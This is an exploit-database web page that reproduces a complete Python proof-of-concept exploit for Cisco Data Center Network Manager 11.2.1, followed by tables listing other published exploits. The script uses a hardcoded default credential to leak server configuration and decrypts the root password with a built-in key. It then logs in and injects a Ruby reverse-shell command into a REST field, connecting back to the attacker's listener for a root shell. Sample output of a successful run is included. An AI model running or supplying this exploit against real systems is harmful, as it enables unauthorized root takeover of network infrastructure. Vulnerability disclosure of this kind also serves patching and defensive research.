Menu

Search for hundreds of thousands of exploits

"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"

Author

Exploit author

mr_me

Platform

Exploit platform

java

Release date

Exploit published date

2020-02-06

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
#!/usr/bin/python
"""
Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability

Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers
- Release: 11.2(1)
- Release Date: 05-Jun-2019
- FileName: dcnm-va.11.2.1.iso.zip
- Size: 4473.54 MB (4690850167 bytes)
- MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb 

Bug 1: CVE-2019-15977 / ZDI-20-012
Bug 2: CVE-2019-15977 / ZDI-20-013
Bug 3: CVE-2019-15978 / ZDI-20-102

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <connectback:port>
(+) eg: ./poc.py 192.168.100.123 192.168.100.59
(+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337

saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337
(+) leaked user: root
(+) leaked pass: Dcnmpass123
(+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012
(+) created a root session!
(+) starting handler on port 1337
(+) connection from 192.168.100.123
(+) pop thy shell!
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
"""

import re
import sys
import random
import socket
import string
import requests
import telnetlib
from threading import Thread
from Crypto.Cipher import Blowfish
from requests.auth import HTTPBasicAuth
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def handler(lp):
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print  "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def exec_code(t, lp, s):
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    c = { "JSESSIONID" : sessionid }
    r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False)

def random_string(string_length = 8):
    """ generate a random string of fixed length """
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(string_length))

def decrypt(key):
    """ decrypt the leaked password """
    cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB)
    msg = cipher.decrypt(key.decode("hex"))
    return msg

def we_can_leak(target):
    """ used to bypass auth """
    global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass
    dbuser = None
    dbpass = None 
    vfspth = None
    rootuser = None
    rootpass = None
    jdbc = None
    uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target
    c = HTTPBasicAuth('admin', 'nbv_12345')
    r = requests.get(uri, verify=False, auth=c)
    leaked = r.text
    match = re.search("db.password = #(.*)", leaked)
    if match:
        dbpass = match.group(1)
    match = re.search("db.user = (.*)", leaked)
    if match:
        dbuser = match.group(1)
    match = re.search("dcnmweb = (.*)", leaked)
    if match:
        vfspth = match.group(1)
    match = re.search("db.url = (.*)", leaked)
    if match:
        jdbc = match.group(1)
    match = re.search("server.sftp.password = #(.*)", leaked)
    if match:
        rootpass = match.group(1)
    match = re.search("server.sftp.username = (.*)", leaked)
    if match:
        rootuser = match.group(1)
    if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass:
        return True
    return False

def we_can_login(target, password):
    """ we have bypassed auth at this point by leaking the creds """
    global sessionid, resttoken
    d = {
        "j_username" : rootuser,
        "j_password" : password,
    }
    uri = "https://%s/j_spring_security_check" % target
    r = requests.post(uri, data=d, verify=False, allow_redirects=False)
    if "Set-Cookie" in r.headers:
        match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"])
        if match:
            sessionid = match.group(1)
            resttoken = match.group(2)
            return True
    return False

def pop_a_root_shell(t, ls, lp):
    """ get dat shell! """
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    uri = "https://%s/rest/fabrics" % t
    cmdi  = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp)
    cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\""
    j = { 
        "name" : cmdi,

        # this is needed to pass validate() on line 149 of the LanFabricImpl class
        "generalSetting" : {
            "asn" : "1337",
            "provisionOption" : "Manual"
        }, 
        "provisionSetting" : {
            "dhcpSetting": {
                "primarySubnet" : "127.0.0.1",
                "primaryDNS" : "127.0.0.1",
                "secondaryDNS" : "127.0.0.1"
            },
            "ldapSetting" : {
                "server" : "127.0.0.1"
            },
            "amqpSetting" : {
                "server" : "127.0.0.1:1337"
            }
        }
    }
    c = { "resttoken": resttoken }
    r = requests.post(uri, json=j, cookies=c, verify=False)
    if r.status_code == 200 and ls in r.text:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
        print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0]
        print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    cb = sys.argv[2]
    if not ":" in cb:
        print "(+) using default connectback port 4444"
        ls = cb
        lp = 4444
    else:
        if not cb.split(":")[1].isdigit():
            print "(-) %s is not a port number!" % cb.split(":")[1]
            sys.exit(-1)
        ls = cb.split(":")[0]
        lp = int(cb.split(":")[1])

    # stage 1 - leak the creds
    if we_can_leak(t):
        pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass))
        print "(+) leaked user: %s" % rootuser
        print "(+) leaked pass: %s" % pwd
        print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:])

        # stage 2 - get a valid sesson
        if we_can_login(t, pwd):
            print "(+) created a root session!"

            # stage 3 - get a root shell via cmdi
            pop_a_root_shell(t, ls, lp)

if __name__ == "__main__":
    main()
Release DateTitleTypePlatformAuthor
2020-04-01"10Strike LANState 9.32 - 'Force Check' Buffer Overflow (SEH)"localwindowsHodorsec
2020-04-01"DiskBoss 7.7.14 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-31"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)"remotehardwareMetasploit
2020-03-31"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)"remotemultipleMetasploit
2020-03-31"Redis - Replication Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-31"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)"doswindows"Paras Bhatia"
2020-03-31"SharePoint Workflows - XOML Injection (Metasploit)"remotewindowsMetasploit
2020-03-31"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection"webappshardware"Jacob Baines"
2020-03-30"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution"remotelinux0xsha
2020-03-30"Joomla! com_fabrik 3.9.11 - Directory Traversal"webappsphpqw3rTyTy
2020-03-30"10-Strike Network Inventory Explorer 9.03 - 'Read from File' Buffer Overflow (SEH)(ROP)"localwindowsHodorsec
2020-03-30"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation"localwindows"Daniel García Gutiérrez"
2020-03-30"Zen Load Balancer 3.10.1 - Remote Code Execution"webappscgi"Cody Sixteen"
2020-03-30"Odin Secure FTP Expert 7.6.3 - 'Site Info' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-27"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution"webappsphpvikingfr
2020-03-27"Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-27"ECK Hotel 1.0 - Cross-Site Request Forgery (Add Admin)"webappsphp"Mustafa Emre Gül"
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-26"TP-Link Archer C50 3 - Denial of Service (PoC)"webappshardwarethewhiteh4t
2020-03-26"Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution"webappsphp"Engin Demirbilek"
2020-03-25"10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)"localwindows"Felipe Winsnes"
2020-03-25"Joomla! Component GMapFP 3.30 - Arbitrary File Upload"webappsphpThelastVvV
2020-03-25"10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path"localwindows"Felipe Winsnes"
2020-03-25"LeptonCMS 4.5.0 - Persistent Cross-Site Scripting"webappsphpSunCSR
2020-03-25"AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path"localwindows"Roberto Piña"
2020-03-24"Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting"webappsphp"Jinson Varghese Behanan"
2020-03-24"UCM6202 1.0.18.13 - Remote Command Injection"webappshardware"Jacob Baines"
2020-03-24"UliCMS 2020.1 - Persistent Cross-Site Scripting"webappsphpSunCSR
Release DateTitleTypePlatformAuthor
2020-03-27"Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal"webappsjavahongphukt
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-10"Sysaid 20.1.11 b26 - Remote Command Execution"webappsjava"Ahmed Sherif"
2020-02-24"ManageEngine EventLog Analyzer 10.0 - Information Disclosure"webappsjava"Scott Goodwin"
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-05"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"webappsjavanxkennedy
2020-02-03"Jira 8.3.4 - Information Disclosure (Username Enumeration)"webappsjava"Mufeed VH"
2020-01-29"Liferay CE Portal 6.0.2 - Remote Command Execution"webappsjava"Berk Dusunur"
2020-01-21"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection"webappsjava"Ertebat Gostar Co"
2020-01-16"Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting"webappsjava"Ai Ho"
2020-01-09"Oracle Weblogic 10.3.6.0.0 - Remote Command Execution"webappsjavajames
2020-01-08"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"webappsjavahantwister
2020-01-08"Cisco DCNM JBoss 10.4 - Credential Leakage"remotejavahantwister
2020-01-08"JetBrains TeamCity 2018.2.4 - Remote Code Execution"remotejavahantwister
2019-12-17"Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting"webappsjavaMTK
2019-12-11"Apache Olingo OData 4.0 - XML External Entity Injection"webappsjava"Compass Security"
2019-12-09"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting"webappsjavaomurugur
2019-11-08"Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting"webappsjavavesche
2019-11-01"Apache Solr 8.2.0 - Remote Code Execution"webappsjava@l3x_wong
2019-10-07"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload"webappsjava"Jakub Palaczynski"
2019-09-11"AVCON6 systems management platform - OGNL Remote Command Execution"webappsjava"Nassim Asrir"
2019-09-03"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)"remotejavaMetasploit
2019-07-12"Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting"webappsjava"Ishaq Mohammed"
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-06-17"Spring Security OAuth - Open Redirector"webappsjavaRiemann
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting"webappsjavaVingroup
Release DateTitleTypePlatformAuthor
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2019-12-12"ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution"webappsmultiplemr_me
2019-05-17"Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution"remotelinuxmr_me
2018-08-20"Easylogin Pro 1.3.0 - 'Encryptor.php' Unserialize Remote Code Execution"remotephpmr_me
2018-06-25"Foxit Reader 9.0.1.1049 - Remote Code Execution"remotewindowsmr_me
2018-01-28"Trend Micro Threat Discovery Appliance 2.6.1062r1 - 'dlp_policy_upload.cgi' Remote Code Execution"remotelinuxmr_me
2018-01-15"Synology Photo Station 6.8.2-3461 - 'SYNOPHOTO_Flickr_MultiUpload' Race Condition File Write Remote Code Execution"remotehardwaremr_me
2018-01-03"Kingsoft Antivirus/Internet Security 9+ - Local Privilege Escalation"localwindowsmr_me
2017-10-30"Oracle Java SE - Web Start jnlp XML External Entity Processing Information Disclosure"webappsxmlmr_me
2017-09-12"Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (2)"localwindowsmr_me
2017-09-06"Jungo DriverWizard WinDriver < 12.4.0 - Kernel Out-of-Bounds Write Privilege Escalation"localwindowsmr_me
2017-09-06"Jungo DriverWizard WinDriver < 12.4.0 - Kernel Pool Overflow / Local Privilege Escalation (1)"localwindowsmr_me
2017-07-05"Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution"remotephpmr_me
2016-05-09"Dell SonicWALL Scrutinizer 11.0.1 - setUserSkin/deleteTab SQL Injection Remote Code Execution"remotewindowsmr_me
2016-03-28"Cogent Datahub 7.3.9 Gamma Script - Local Privilege Escalation"localwindowsmr_me
2016-03-07"ATutor LMS - '/install_modules.php' Cross-Site Request Forgery / Remote Code Execution"webappsphpmr_me
2012-06-15"Useresponse 1.0.2 - Privilege Escalation / Remote Code Execution"webappsphpmr_me
2012-06-14"XM Easy Personal FTP Server 5.30 - Remote Format String Write4"remotewindowsmr_me
2011-12-23"Open Conference/Journal/Harvester Systems 2.3.x - Multiple Remote Code Execution Vulnerabilities"webappsphpmr_me
2011-12-09"Docebo Lms 4.0.4 - 'Messages' Remote Code Execution"webappsphpmr_me
2011-12-04"Family Connections CMS 2.5.0/2.7.1 - 'less.php' Remote Command Execution"webappsphpmr_me
2011-09-22"Cogent Datahub 7.1.1.63 - Remote Unicode Buffer Overflow"remotewindowsmr_me
2011-09-12"ScadaTEC ModbusTagServer & ScadaPhone - '.zip' Local Buffer Overflow"localwindowsmr_me
2011-07-31"Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)"remotewindowsmr_me
2011-06-20"Black Ice Cover Page SDK - Insecure Method 'DownloadImageFileURL()' (Metasploit)"remotewindowsmr_me
2011-06-20"Black Ice Fax Voice SDK 12.6 - Remote Code Execution"remotewindowsmr_me
2011-03-11"Linux NTP query client 4.2.6p1 - Heap Overflow"doslinuxmr_me
2011-03-09"Maian Weblog 4.0 - Blind SQL Injection"webappsphpmr_me
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48020/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse